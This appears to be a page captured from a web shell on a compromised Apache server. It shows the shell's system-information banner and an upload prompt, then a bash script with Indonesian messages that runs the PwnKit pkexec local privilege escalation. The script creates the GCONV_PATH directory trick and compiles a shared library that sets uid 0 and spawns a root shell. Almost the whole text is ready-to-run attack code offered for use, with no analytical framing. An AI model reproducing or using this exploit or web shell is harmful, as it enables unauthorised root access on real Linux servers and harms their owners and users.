| Server IP : 134.236.49.22 / Your IP : 216.73.216.114 Web Server : Apache/2.2.15 (Fedora) System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 User : apache ( 48) PHP Version : 5.3.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ |
Upload File : |
#!/bin/bash
echo "[+] Membuat direktori eksploit..."
mkdir -p exploit_pwnkit/GCONV_PATH=.
cd exploit_pwnkit || exit
echo "[+] Membuat file dummy GCONV..."
touch GCONV_PATH=./lol
echo "[+] Membuat file gconv-modules..."
echo 'module UTF-8// INTERNAL ../pwnkit 2' > GCONV_PATH=./gconv-modules
echo "[+] Membuat payload exploit (pwnkit.so)..."
cat <<EOF > pwnkit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/sh");
}
EOF
echo "[+] Compile pwnkit.so (pastikan gcc terinstal)..."
gcc -m32 -Wall -fPIC -shared pwnkit.c -o pwnkit.so
if [[ ! -f pwnkit.so ]]; then
echo "[-] Gagal membuat pwnkit.so, pastikan gcc tersedia!"
exit 1
fi
echo "[+] Menjalankan exploit..."
env -i SHELL=/bin/sh XDG_SESSION_ID=1 GCONV_PATH=./ CHARSET=UTF-8 PATH=GCONV_PATH=./ /usr/bin/pkexec